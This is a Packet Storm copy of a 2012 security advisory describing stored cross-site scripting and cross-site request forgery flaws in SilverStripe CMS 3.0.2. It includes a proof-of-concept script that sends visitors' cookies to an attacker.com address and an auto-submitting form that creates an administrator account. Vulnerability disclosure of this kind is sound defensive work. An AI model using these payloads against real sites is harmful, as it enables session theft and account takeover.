what you don't know can hurt you

SilverStripe CMS 3.0.2 Cross Site Request Forgery / Cross Site Scripting

SilverStripe CMS 3.0.2 Cross Site Request Forgery / Cross Site Scripting
Posted Nov 30, 2012
Authored by Nathaniel Carew | Site senseofsecurity.com.au

SilverStripe version 3.0.2 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | ef185cbe2fa306c18219cccfb231e76c

SilverStripe CMS 3.0.2 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
Sense of Security - Security Advisory - SOS-12-011

Release Date. 30-Nov-2012
Last Update. -
Vendor Notification Date. 29-Oct-2012
Product. SilverStripe CMS
Platform. Windows
Affected versions. 3.0.2
Severity Rating. Medium
Impact. Privilege escalation, cross-site scripting
Attack Vector. From remote with authentication
Solution Status. Upgrade to version 3.0.3
CVE reference. CVE - not yet assigned

Details.
SilverStripe CMS is an open source web content management
system used to build websites, intranets, and web applications.
SilverStripe is vulnerable to a stored Cross-Site Scripting (XSS)
vulnerability and Cross-Site Request Forgeries (CSRF).

Stored XSS:
The site title field in the configuration page fails to securely
output encode stored values. As a result, an authenticated attacker
can trigger the application to store a malicious string by entering
the values into the site title field. When a user visits the web
site, the malicious code will be executed in the client browser.

Proof of Concept XSS:
Enter the below into the site title field:
<script>document.location="http://attacker.com/stealcookie.php?cookie="
+ document.cookie</script>

When any user visits the web site the above client-side code will be
executed in the client browser to steal their cookie. The following
page is vulnerable:
http://www.website.com/admin/settings/

CSRF:
The privilege escalation is possible because the form used to change
user account passwords does not require the user to confirm their
current password and is vulnerable to CSRF. An attacker can reset an
Administrator password by creating a malicious web site that sends a
POST request to change the current user's password while they are
logged into the CMS. This vulnerability can be combined with the above
XSS to force the user to visit the malicious web site as soon as the
user logs into the CMS. The only item required to create the CSRF is
the SecurityID value which can be extracted from many pages in the CMS.
After sending the request the attacker can login as a new Administrator
with the credentials detailed below.

Proof of Concept CSRF:
Example CSRF Request to create a new admin user with limited CSRF
protection enabled:
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="
http://x.x.x.x/admin/security/EditForm/field/Members/item/new/ItemEditForm"
name="form" method="POST">
<input type="text" name="FirstName" value="Alan">
<input type="text" name="LastName" value="Jackson">
<input type="text" name="Email" value="ajackson79@outlook.com">
<input type="text" name=" Password[_Password]" value="Squash!">
<input type="text" name=" Password[_ConfirmPassword]" value="Squash!">
<input type="text" name="Locale" value="en_GB">
<input type="text" name="SecurityID" value="528475a4e3c260bdffa3046c2b">
<input type="text" name="action_doSave" value="1">
</form>
</body><br>
</html>

Solution.
Upgrade to version 3.0.3.

Discovered by.
Nathaniel Carew from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.


Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-011.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Login or Register to add favorites

File Archive:

November 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    19 Files
  • 2
    Nov 2nd
    25 Files
  • 3
    Nov 3rd
    8 Files
  • 4
    Nov 4th
    7 Files
  • 5
    Nov 5th
    24 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    106 Files
  • 11
    Nov 11th
    19 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    12 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    12 Files
  • 19
    Nov 19th
    4 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    14 Files
  • 24
    Nov 24th
    19 Files
  • 25
    Nov 25th
    4 Files
  • 26
    Nov 26th
    1 Files
  • 27
    Nov 27th
    4 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close